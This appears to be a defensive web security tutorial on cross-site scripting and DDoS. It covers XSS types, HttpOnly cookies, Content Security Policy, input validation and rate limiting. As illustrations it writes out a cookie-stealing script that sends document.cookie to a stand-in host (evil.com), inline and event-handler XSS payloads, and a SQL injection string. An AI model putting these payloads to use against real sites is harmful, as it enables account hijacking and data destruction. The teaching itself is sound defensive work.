XSS allows attackers to inject malicious scripts into web pages viewed by other users. When the victim's browser loads the page, the injected script executes with full access to cookies, session tokens, and the DOM.
β οΈ Why It's Dangerous
Steal session cookies and hijack accounts
Capture keystrokes and form data
Redirect users to malicious sites
Deface websites
Spread malware
Types of XSS
Type
Storage
Example
Stored XSS
Saved in database
Malicious comment that attacks all viewers
Reflected XSS
URL parameter
Malicious link sent via email
DOM-based XSS
Client-side only
JavaScript reads URL hash unsafely
How an Attack Works
1. Attacker finds vulnerable input (comment field)
β
2. Submits: <script>fetch('evil.com?c='+document.cookie)</script>
β
3. Server stores malicious comment in database
β
4. Victim views the page with the comment
β
5. Browser renders the comment, executes the script
β
6. Victim's cookies sent to attacker's server π
2. Six Prevention Strategies
1οΈβ£ Input Sanitization (DOMPurify)
Removes or neutralizes malicious code from user input before it's stored or displayed.
Prevents JavaScript from accessing sensitive cookies, so even if XSS runs, it can't steal sessions.
// Server-side (Express.js)
res.cookie('sessionToken', 'abc123', {
httpOnly: true, // JavaScript cannot access
secure: true, // Only sent over HTTPS
sameSite: 'Strict'// Not sent with cross-site requests
});
Cookie Type
XSS Can Steal?
Regular cookie
Yes
HttpOnly cookie
No
6οΈβ£ Validate Input (Whitelist)
Only accept input that matches expected patterns, rejecting everything else.
// Use textContent
element.textContent = 'Hello, ' + name;
// Or validate against whitelistconst allowed = ['home', 'about'];
if (allowed.includes(param)) {
// Safe to use
}
<!-- Works but limited - no frame-ancestors, no report-uri -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
β οΈ Meta Tag Limitations
Cannot use frame-ancestors (clickjacking protection)
Cannot use report-uri / report-to
Can be bypassed if attacker injects before the meta tag
5. Interactive CSP Demo
βΉοΈ This Page Has CSP Enabled
script-src 'self' - Only external scripts from this origin are allowed. Open DevTools Console (F12) to see CSP violations.
β BLOCKED - Inline Script
<script>
alert('XSS Attack!');
</script>
This inline script won't run:
β Script was blocked by CSP
β ALLOWED - External Script
<script src="app.js"></script>
// In app.js:
document.getElementById('btn')
.addEventListener('click', handleClick);
External scripts work because they're from 'self':
Click the button to see external JS work...
What CSP Blocks
Attack Type
Example
Status
Inline script
<script>evil()</script>
Blocked
Event handler
<img onerror="evil()">
Blocked
javascript: URL
<a href="javascript:evil()">
Blocked
External evil script
<script src="evil.com/x.js">
Blocked
Your external script
<script src="app.js">
Allowed
6. Input Validation vs Sanitization
Both are important and serve different purposes:
Aspect
Validation
Sanitization
Purpose
Reject bad data entirely
Clean/fix bad data
Action
"Is this valid? Yes/No"
"Make this safe"
When
Before processing/storing
Before rendering/displaying
Protects Against
XSS, SQL Injection, etc.
XSS specifically
Why You Need Both
β οΈ Sanitization alone misses other attacks:
// User input for "quantity" fieldconst input = "1; DROP TABLE orders;--";
// DOMPurify won't catch SQL injection!
DOMPurify.sanitize(input); // Returns same string// Validation catches it:functionvalidateQuantity(input) {
const num = parseInt(input, 10);
return Number.isInteger(num) && num > 0;
}
// Returns false - rejected!
User Input
β
βββββββββββββββββββββββββββββββββββββββββββ
β VALIDATION: Right type/format/length? β
β Protects: SQL injection, business logicβ
β Action: REJECT if invalid β
βββββββββββββββββββββββββββββββββββββββββββ
β (only valid data passes)
βββββββββββββββββββββββββββββββββββββββββββ
β SANITIZATION: Remove dangerous content β
β Protects: XSS specifically β
β Action: CLEAN the data β
βββββββββββββββββββββββββββββββββββββββββββ
β
Safe to use β
7. DDoS Attacks
A DDoS (Distributed Denial of Service) attack floods your server with traffic until legitimate users can't access your service.
Normal Traffic:
User 1 ββ
User 2 ββΌβββΆ [Your Server] β Everyone served
User 3 ββ
DDoS Attack:
βββββββββββββββββββββββββββββββ
β Millions of bot requests β
β Bot Bot Bot Bot Bot Bot... ββββΆ [Your Server] π₯ Overwhelmed
βββββββββββββββββββββββββββββββ
Real User ββββX (can't connect)
Types of DDoS
Type
Layer
Method
UDP Flood
Network (L3/4)
Floods random ports with UDP packets
SYN Flood
Transport (L4)
Million TCP handshakes, never completes
HTTP Flood
Application (L7)
Million GET/POST requests
Amplification
Network (L3)
DNS/NTP reflection attack
Protection Strategies
1. CDN / DDoS Protection Service
// Services like Cloudflare, AWS Shield, Akamai// absorb attack traffic before it reaches you
Attack βββΆ [Cloudflare] βββΆ Clean traffic βββΆ [Your Server]
β
βββ Bad traffic filtered
2. Rate Limiting
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window per IP
message: 'Too many requests, try again later'
});
app.use(limiter);
3. Web Application Firewall (WAF)
Filters requests based on rules: block known bad IPs, suspicious patterns, geo-blocking.
4. Auto-scaling
Automatically add servers when traffic spikes (AWS, GCP, Azure).
βΉοΈ Key Difference: XSS vs DDoS
XSS
DDoS
Goal
Steal data
Take service offline
Target
Users' browsers
Your server
Fix
Code changes
Infrastructure
8. Security Checklist
Layer
Check
Protection
Input
Validate all user input (whitelist)
XSS, SQLi, etc.
Storage
Sanitize before storing (DOMPurify)
Stored XSS
Output
Use textContent, escape HTML
Reflected XSS
Headers
CSP, X-Content-Type-Options, X-Frame-Options
XSS, Clickjacking
Cookies
HttpOnly, Secure, SameSite
Session theft
Dependencies
SRI hashes for CDN scripts
Supply chain
React
Avoid dangerouslySetInnerHTML
DOM XSS
Infrastructure
CDN, rate limiting, WAF
DDoS
β Defense in Depth
No single defense is foolproof. Use all layers together. If one fails, others catch the attack.